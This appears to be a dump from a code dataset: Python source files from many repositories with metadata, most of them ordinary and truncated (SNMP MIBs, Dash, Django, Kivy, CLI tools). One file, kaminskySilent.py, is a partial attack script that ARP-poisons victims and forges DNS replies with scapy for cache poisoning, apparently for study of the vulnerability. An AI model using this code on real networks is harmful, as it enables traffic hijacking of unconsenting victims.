] | 11 | 2021-02-02T16:27:16.000Z | 2021-08-31T06:22:49.000Z | pysnmp/TPLINK-PROTOCOL-VLAN-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 75 | 2021-02-24T17:30:31.000Z | 2021-12-08T00:01:18.000Z | pysnmp/TPLINK-PROTOCOL-VLAN-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module TPLINK-PROTOCOL-VLAN-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/TPLINK-PROTOCOL-VLAN-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 21:18:12 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.... | 113.32 | 759 | 0.769149 | 630 | 5,666 | 6.914286 | 0.222222 | 0.011478 | 0.011708 | 0.015611 | 0.352617 | 0.26056 | 0.26056 | 0.26056 | 0.24449 | 0.216024 | 0 | 0.081377 | 0.082598 | 5,666 | 49 | 760 | 115.632653 | 0.756637 | 0.06036 | 0 | 0 | 0 | 0 | 0.155597 | 0.021825 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.214286 | 0 | 0.214286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9b2190e1095409d59c29a6e00864e872df7a7772 | 2,503 | py | Python | ete_component/EteComponent.py | marco-mariotti/treedex | 17afc3f6334c6ff8b4799d3f935b560b8cbcd18f | [
"MIT"
] | null | null | null | ete_component/EteComponent.py | marco-mariotti/treedex | 17afc3f6334c6ff8b4799d3f935b560b8cbcd18f | [
"MIT"
] | null | null | null | ete_component/EteComponent.py | marco-mariotti/treedex | 17afc3f6334c6ff8b4799d3f935b560b8cbcd18f | [
"MIT"
] | null | null | null | # AUTO GENERATED FILE - DO NOT EDIT
from dash.development.base_component import Component, _explicitize_args
class EteComponent(Component):
"""An EteComponent component.
Keyword arguments:
- id (string; required):
The ID used to identify this component in Dash callbacks.
- activeClades (list of dicts; op... | 35.757143 | 343 | 0.668398 | 287 | 2,503 | 5.714286 | 0.362369 | 0.087805 | 0.020122 | 0.034756 | 0.231707 | 0.185976 | 0.129268 | 0.129268 | 0.091463 | 0.091463 | 0 | 0.006079 | 0.211346 | 2,503 | 69 | 344 | 36.275362 | 0.824721 | 0.444267 | 0 | 0 | 1 | 0 | 0.172688 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0 | 0.052632 | 0 | 0.157895 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f19b11d640f4441bd3dea972216943ec578b7f4d | 573 | py | Python | tuba/run_disc.py | korhanpolat/phoenix_term_discovery | 61532ff89d6de37dadd2a137dc1cfc3f66a04190 | [
"MIT"
] | null | null | null | tuba/run_disc.py | korhanpolat/phoenix_term_discovery | 61532ff89d6de37dadd2a137dc1cfc3f66a04190 | [
"MIT"
] | 1 | 2021-05-10T17:13:30.000Z | 2021-05-10T17:13:30.000Z | tuba/run_disc.py | korhanpolat/phoenix_term_discovery | 61532ff89d6de37dadd2a137dc1cfc3f66a04190 | [
"MIT"
] | null | null | null | import argparse
import sys
from os.path import join
from os import chdir
import subprocess
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-s', '--sge', type=str, default='nosge')
parser.add_argument('-l', '--filelist', type=str, default='')
parser.add_argument('-zr_root', '--... | 21.222222 | 121 | 0.717277 | 77 | 573 | 5.12987 | 0.545455 | 0.068354 | 0.129114 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009823 | 0.111693 | 573 | 26 | 122 | 22.038462 | 0.766208 | 0 | 0 | 0 | 0 | 0 | 0.208042 | 0.094406 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0.066667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
f1ab7dc7ade150c21db34398587bed575eead1a4 | 3,530 | py | Python | src/denzel_cli/scripts/cli.py | eliorc/denzel | 429a7c277b1a4ee515e3a112a8734b58fc89f53a | [
"Apache-2.0"
] | 17 | 2018-10-02T07:09:45.000Z | 2021-11-30T11:02:28.000Z | src/denzel_cli/scripts/cli.py | eliorc/denzel | 429a7c277b1a4ee515e3a112a8734b58fc89f53a | [
"Apache-2.0"
] | 4 | 2018-10-22T10:18:17.000Z | 2020-09-02T14:31:31.000Z | src/denzel_cli/scripts/cli.py | eliorc/denzel | 429a7c277b1a4ee515e3a112a8734b58fc89f53a | [
"Apache-2.0"
] | 2 | 2018-10-28T10:17:57.000Z | 2020-02-05T22:12:04.000Z | from .. import commands
from .. import config
import click
@click.group()
def cli():
pass
# -------- startproject --------
@cli.command()
@click.argument('name', type=str)
@click.option('--gpu/--no-gpu', default=False, help="Support for NVIDIA GPU", show_default=True)
def startproject(name, gpu):
"""Builds... | 26.742424 | 113 | 0.634844 | 411 | 3,530 | 5.406326 | 0.260341 | 0.063006 | 0.067507 | 0.056706 | 0.209271 | 0.149865 | 0.089559 | 0.089559 | 0.089559 | 0.089559 | 0 | 0.001004 | 0.153541 | 3,530 | 131 | 114 | 26.946565 | 0.742637 | 0.236261 | 0 | 0.304348 | 0 | 0 | 0.167688 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.217391 | false | 0.028986 | 0.043478 | 0 | 0.26087 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f1ae40d0810bd3041cc800551a25ab86679410f2 | 594 | py | Python | netbox_paloalto/migrations/0001_initial.py | rodvand/netbox-paloalto | c6933fe524d135d9d38ee68ad7968d3d948e118c | [
"Apache-2.0"
] | 26 | 2020-04-20T20:21:08.000Z | 2022-03-11T07:21:50.000Z | netbox_paloalto/migrations/0001_initial.py | rodvand/netbox-paloalto | c6933fe524d135d9d38ee68ad7968d3d948e118c | [
"Apache-2.0"
] | 16 | 2020-04-20T20:23:38.000Z | 2021-02-28T20:11:55.000Z | netbox_paloalto/migrations/0001_initial.py | rodvand/netbox-paloalto | c6933fe524d135d9d38ee68ad7968d3d948e118c | [
"Apache-2.0"
] | 5 | 2020-05-14T14:48:10.000Z | 2021-08-15T18:43:52.000Z | # Generated by Django 3.0.5 on 2020-04-18 20:25
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='FirewallConfig',
fields=[
('id', models.Aut... | 24.75 | 95 | 0.56734 | 58 | 594 | 5.724138 | 0.758621 | 0.090361 | 0.108434 | 0.144578 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.048662 | 0.308081 | 594 | 23 | 96 | 25.826087 | 0.759124 | 0.075758 | 0 | 0 | 1 | 0 | 0.071298 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.0625 | 0 | 0.3125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f1b0538d1a9ba2af48c643b019900d1b38c26f63 | 2,222 | py | Python | kaminskySilent.py | filipdavidovic/kaminsky_vulnerability | 04baa4264672f258dc2fecffbb5563d3de7f40a8 | [
"MIT"
] | 5 | 2019-06-26T02:57:15.000Z | 2021-09-29T05:44:23.000Z | kaminskySilent.py | filipdavidovic/kaminsky_vulnerability | 04baa4264672f258dc2fecffbb5563d3de7f40a8 | [
"MIT"
] | null | null | null | kaminskySilent.py | filipdavidovic/kaminsky_vulnerability | 04baa4264672f258dc2fecffbb5563d3de7f40a8 | [
"MIT"
] | 6 | 2018-05-09T13:07:34.000Z | 2021-01-25T15:59:53.000Z | import argparse
from scapy.all import ARP, Ether, sniff, sendp, send, IP, UDP, DNS, DNSQR, DNSRR
from vars import ccolors
import utils
from arppoison import arppoison
import sys
import socket
def silent(args):
# ARP poison the vicitims (two way ARP poisoning)
for ip in args.soaIP:
arppoison(args.victim... | 47.276596 | 128 | 0.642214 | 308 | 2,222 | 4.62013 | 0.327922 | 0.02811 | 0.033732 | 0.027407 | 0.252987 | 0.252987 | 0.252987 | 0.252987 | 0.192551 | 0.192551 | 0 | 0.01338 | 0.226373 | 2,222 | 46 | 129 | 48.304348 | 0.814427 | 0.114311 | 0 | 0.166667 | 0 | 0 | 0.039226 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.194444 | null | null | 0.055556 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f1b65b5de607f63da039377e7e5b6fd15c9f54f2 | 3,762 | py | Python | comlocal/interface/ComIFace.py | jtsiva/ComLocAL | cbc9928a0a6d6ec08660cd88f085c1d4b2dce300 | [
"MIT"
] | null | null | null | comlocal/interface/ComIFace.py | jtsiva/ComLocAL | cbc9928a0a6d6ec08660cd88f085c1d4b2dce300 | [
"MIT"
] | 5 | 2017-12-20T21:11:53.000Z | 2018-04-04T20:06:03.000Z | comlocal/interface/ComIFace.py | jtsiva/ComLocAL | cbc9928a0a6d6ec08660cd88f085c1d4b2dce300 | [
"MIT"
] | null | null | null | from twisted.spread import pb
from twisted.internet import reactor
from comlocal.core.Com import Com
class ComIFace (object):
def __init__(self, name, port):
self.readCB = None
self._comiface = None
self.name = name
self.port = port
def start(self):
self._comiface = _ComIFace(self)
self.tcpPort = reac... | 22.8 | 104 | 0.690324 | 496 | 3,762 | 5.193548 | 0.177419 | 0.035326 | 0.023292 | 0.011646 | 0.645575 | 0.643634 | 0.618012 | 0.596273 | 0.596273 | 0.596273 | 0 | 0.009702 | 0.178097 | 3,762 | 164 | 105 | 22.939024 | 0.823415 | 0.100213 | 0 | 0.608696 | 0 | 0 | 0.035545 | 0 | 0 | 0 | 0 | 0 | 0.008696 | 0 | null | null | 0 | 0.026087 | null | null | 0.043478 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f1ba1d933f292ee9e4c0b13600fc76a08295bb35 | 1,666 | py | Python | app_modules/widgets/numpad.py | l337quez/Aplicaci-n-ANDROID-para-control-del-suministro-de-energia- | 19986f11bcf77bc380121b4ec6d073d3c470648f | [
"MIT"
] | 14 | 2016-08-02T20:36:47.000Z | 2019-12-17T07:10:26.000Z | app_modules/widgets/numpad.py | l337quez/Aplicaci-n-ANDROID-para-control-del-suministro-de-energia- | 19986f11bcf77bc380121b4ec6d073d3c470648f | [
"MIT"
] | 1 | 2019-03-09T09:46:02.000Z | 2019-03-09T09:46:02.000Z | app_modules/widgets/numpad.py | l337quez/Aplicaci-n-ANDROID-para-control-del-suministro-de-energia- | 19986f11bcf77bc380121b4ec6d073d3c470648f | [
"MIT"
] | 3 | 2016-08-02T21:27:46.000Z | 2020-05-11T03:56:05.000Z | from kivy.uix.gridlayout import GridLayout
from kivy.lang import Builder
Builder.load_string('''
<NumpadBlueButton@BlueButton>:
on_release: self.parent.select_btn(self.text)
<Numpad>:
cols: 3
rows: 4
spacing: 3, 3
NumpadBlueButton:
text: '1'
NumpadBlueButton:
text: '2'
Nu... | 20.317073 | 49 | 0.557623 | 185 | 1,666 | 4.886486 | 0.264865 | 0.199115 | 0.079646 | 0.084071 | 0.524336 | 0.524336 | 0.422566 | 0.367257 | 0.367257 | 0.367257 | 0 | 0.037649 | 0.346339 | 1,666 | 81 | 50 | 20.567901 | 0.79247 | 0 | 0 | 0.661765 | 0 | 0 | 0.705282 | 0.037815 | 0 | 0 | 0 | 0 | 0 | 1 | 0.029412 | false | 0 | 0.029412 | 0 | 0.147059 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f1c33014d4a8ddb212aff934bf08bac2caccdef5 | 326 | py | Python | menu/management/commands/send_notification.py | ben174/lunch-bot | 5cf62161d91133e68ce7e946f03684c183aa57ad | [
"MIT"
] | null | null | null | menu/management/commands/send_notification.py | ben174/lunch-bot | 5cf62161d91133e68ce7e946f03684c183aa57ad | [
"MIT"
] | null | null | null | menu/management/commands/send_notification.py | ben174/lunch-bot | 5cf62161d91133e68ce7e946f03684c183aa57ad | [
"MIT"
] | null | null | null | from django.core.management.base import BaseCommand
from util.mailer import send_menu_email
class Command(BaseCommand):
help = 'Sends today\'s menu to lunch-bot mailing list. If this menu has already been notified, it will' \
'skip sending.'
def handle(self, *args, **options):
send_menu_em... | 29.636364 | 109 | 0.708589 | 46 | 326 | 4.934783 | 0.826087 | 0.070485 | 0.114537 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.202454 | 326 | 10 | 110 | 32.6 | 0.873077 | 0 | 0 | 0 | 0 | 0 | 0.076687 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.285714 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
f1d9713ce845185d1a6fc115723bacd9cdfad823 | 4,361 | py | Python | test/qe/compression-filter/test_compression.py | sharwell/repose | 5d169ccad00ec4518d01379990d4e44e4e55e90e | [
"Apache-2.0"
] | null | null | null | test/qe/compression-filter/test_compression.py | sharwell/repose | 5d169ccad00ec4518d01379990d4e44e4e55e90e | [
"Apache-2.0"
] | null | null | null | test/qe/compression-filter/test_compression.py | sharwell/repose | 5d169ccad00ec4518d01379990d4e44e4e55e90e | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
from narwhal import repose
import unittest
from narwhal import conf
from narwhal import pathutil
import xmlrunner as _xmlrunner
import logging
import time
import argparse
import os
import deproxy
logger = logging.getLogger(__name__)
config_dir = pathutil.join(os.getcwd(), 'etc/repose')
deployme... | 29.073333 | 79 | 0.613162 | 511 | 4,361 | 4.998043 | 0.334638 | 0.038763 | 0.021926 | 0.031323 | 0.054424 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006041 | 0.278835 | 4,361 | 149 | 80 | 29.268456 | 0.806041 | 0.010089 | 0 | 0 | 0 | 0 | 0.13372 | 0.042874 | 0 | 0 | 0 | 0 | 0.018018 | 0 | null | null | 0 | 0.09009 | null | null | 0.018018 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f1de74ca105fb0bf7a62a4164f0cc115f815911a | 4,223 | py | Python | Packages/Dead/demo/Script/tutorials/orientation_and_output.py | xylar/cdat | 8a5080cb18febfde365efc96147e25f51494a2bf | [
"BSD-3-Clause"
] | 62 | 2018-03-30T15:46:56.000Z | 2021-12-08T23:30:24.000Z | Packages/Dead/demo/Script/tutorials/orientation_and_output.py | xylar/cdat | 8a5080cb18febfde365efc96147e25f51494a2bf | [
"BSD-3-Clause"
] | 114 | 2018-03-21T01:12:43.000Z | 2021-07-05T12:29:54.000Z | Packages/Dead/demo/Script/tutorials/orientation_and_output.py | CDAT/uvcdat | 5133560c0c049b5c93ee321ba0af494253b44f91 | [
"BSD-3-Clause"
] | 14 | 2018-06-06T02:42:47.000Z | 2021-11-26T03:27:00.000Z | # Adapted for numpy/ma/cdms2 by convertcdms.py
# Import the modules needed for the tuturial
# cdms - Climate Data Management system accesses gridded data.
# vcs - Visualization and control System 1D and 2D plotting routines.
# cdutil - Climate utilitizes that contains miscellaneous routines for
# manipulating... | 36.405172 | 92 | 0.562633 | 479 | 4,223 | 4.958246 | 0.344468 | 0.016842 | 0.025263 | 0.032 | 0.323368 | 0.314526 | 0.258526 | 0.181053 | 0.157474 | 0.157474 | 0 | 0.014167 | 0.231115 | 4,223 | 115 | 93 | 36.721739 | 0.717277 | 0.619228 | 0 | 0.142857 | 0 | 0 | 0.258735 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.035714 | null | null | 0.071429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f1e5bdf06a32a9b46baf565dddeb1a976b026a8d | 1,256 | py | Python | 20180530_struct_hyperreal.py | randompirate/algostructures-and-datarithms | aaca08f3b1743c749287a03c4f1343937ae3d2b8 | [
"MIT"
] | null | null | null | 20180530_struct_hyperreal.py | randompirate/algostructures-and-datarithms | aaca08f3b1743c749287a03c4f1343937ae3d2b8 | [
"MIT"
] | null | null | null | 20180530_struct_hyperreal.py | randompirate/algostructures-and-datarithms | aaca08f3b1743c749287a03c4f1343937ae3d2b8 | [
"MIT"
] | null | null | null | """
Hyperreal numbers as an extension of float
https://en.wikipedia.org/wiki/Hyperreal_number
"""
class HFloat(float):
"""docstring for HFloat"""
mul_map = {
'one' : {'one' : 'one' , 'omega' : 'omega', 'epsilon' : 'epsilon'},
'omega' : {'one' : 'omega' , 'omega' : 'omega', 'epsilon' : 'one'},
... | 22.836364 | 91 | 0.590764 | 161 | 1,256 | 4.31677 | 0.347826 | 0.043165 | 0.034532 | 0.046043 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004098 | 0.22293 | 1,256 | 55 | 92 | 22.836364 | 0.707992 | 0.171975 | 0 | 0 | 0 | 0 | 0.135029 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0 | 0.071429 | 0.464286 | 0.035714 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f1ebd5feb965ff3cc6441ae385e33b6803a734e1 | 1,261 | py | Python | keymaster/common/service/randomizer.py | shiroyuki/spymaster | 1efee54427378394ab04d0e53247eb38c28bc97c | [
"Apache-2.0"
] | null | null | null | keymaster/common/service/randomizer.py | shiroyuki/spymaster | 1efee54427378394ab04d0e53247eb38c28bc97c | [
"Apache-2.0"
] | null | null | null | keymaster/common/service/randomizer.py | shiroyuki/spymaster | 1efee54427378394ab04d0e53247eb38c28bc97c | [
"Apache-2.0"
] | null | null | null | import subprocess
from functools import lru_cache
from typing import Callable, Dict, List
from imagination.decorator.service import registered
@registered()
class Randomizer:
def __init__(self):
self.__known_generator_map: Dict[str, Callable] = {
RandomizerMethod.OPENSSL_BASE64: self._use_ope... | 30.02381 | 100 | 0.705789 | 141 | 1,261 | 6.021277 | 0.368794 | 0.076561 | 0.084806 | 0.09894 | 0.117786 | 0.117786 | 0.117786 | 0.117786 | 0.117786 | 0 | 0 | 0.012708 | 0.188739 | 1,261 | 41 | 101 | 30.756098 | 0.817204 | 0 | 0 | 0.066667 | 0 | 0 | 0.045995 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.033333 | 0.133333 | 0.1 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
f1f6beac157b15bd496e3661dd5aceff9357b029 | 183 | py | Python | NetworkConstants.py | LostMyAccount/Game-Maker-Server | 27313bd3ff41d0ecc4118535eccdb681fc59e6ef | [
"Apache-2.0"
] | 3 | 2018-08-03T00:10:38.000Z | 2019-06-26T18:12:08.000Z | NetworkConstants.py | LostMyAccount/Game-Maker-Server | 27313bd3ff41d0ecc4118535eccdb681fc59e6ef | [
"Apache-2.0"
] | 1 | 2020-03-17T21:04:06.000Z | 2020-03-17T21:04:06.000Z | NetworkConstants.py | LostMyAccount/Game-Maker-Server | 27313bd3ff41d0ecc4118535eccdb681fc59e6ef | [
"Apache-2.0"
] | 2 | 2019-06-26T18:12:14.000Z | 2020-01-09T18:54:09.000Z | from enum import Enum
receive_codes = {
"PING": 0,
"HANDSHAKE": 1,
"DISCONNECT": 2,
}
handshake_codes = {
"UNKNOWN": 0,
"WAITING_ACK": 1,
"COMPLETED": 2
}
| 11.4375 | 21 | 0.557377 | 21 | 183 | 4.714286 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045802 | 0.284153 | 183 | 15 | 22 | 12.2 | 0.709924 | 0 | 0 | 0 | 0 | 0 | 0.274725 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.090909 | 0 | 0.090909 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.